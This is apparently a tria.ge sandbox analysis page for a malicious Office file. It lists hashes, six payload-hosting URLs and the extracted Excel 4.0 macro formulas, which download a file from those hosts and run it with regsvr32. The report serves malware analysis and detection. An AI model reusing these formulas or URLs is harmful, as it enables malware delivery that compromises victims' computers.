Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0
-
Size
46KB
-
MD5
e06cc726179fccf051b3636fd37225a3
-
SHA1
eb2570cc765ba76421ea4d3e1c99388c118d1c85
-
SHA256
e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0
-
SHA512
7ce412239c02bad29f3bda98f5fe66d0fe39f64122308971a92ef152d1f3d6924597be422ee299448785d2d80d55a7af790facbed8f2f08960b8f1e38531f089
-
SSDEEP
768:Hb1o2ODOevZCwrvtbzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfPst2:Hb1o1D/tT5fTR4Lh1NisFYBc3cr+UqVX
Malware Config
Extracted
http://splitmon.com/mdbt/I3kw1HNHPchicDI/
http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/
http://www.beholdpublications.com/home/Bnn6j/
http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/
http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/
http://vipwatchpay.com/Isoetales/0LYzkIW/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://splitmon.com/mdbt/I3kw1HNHPchicDI/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/Bnn6j/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipwatchpay.com/Isoetales/0LYzkIW/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
e8c70cecb953dd7bf1c692e60f4463513eac96801d8371a204a6ce5f39313bf0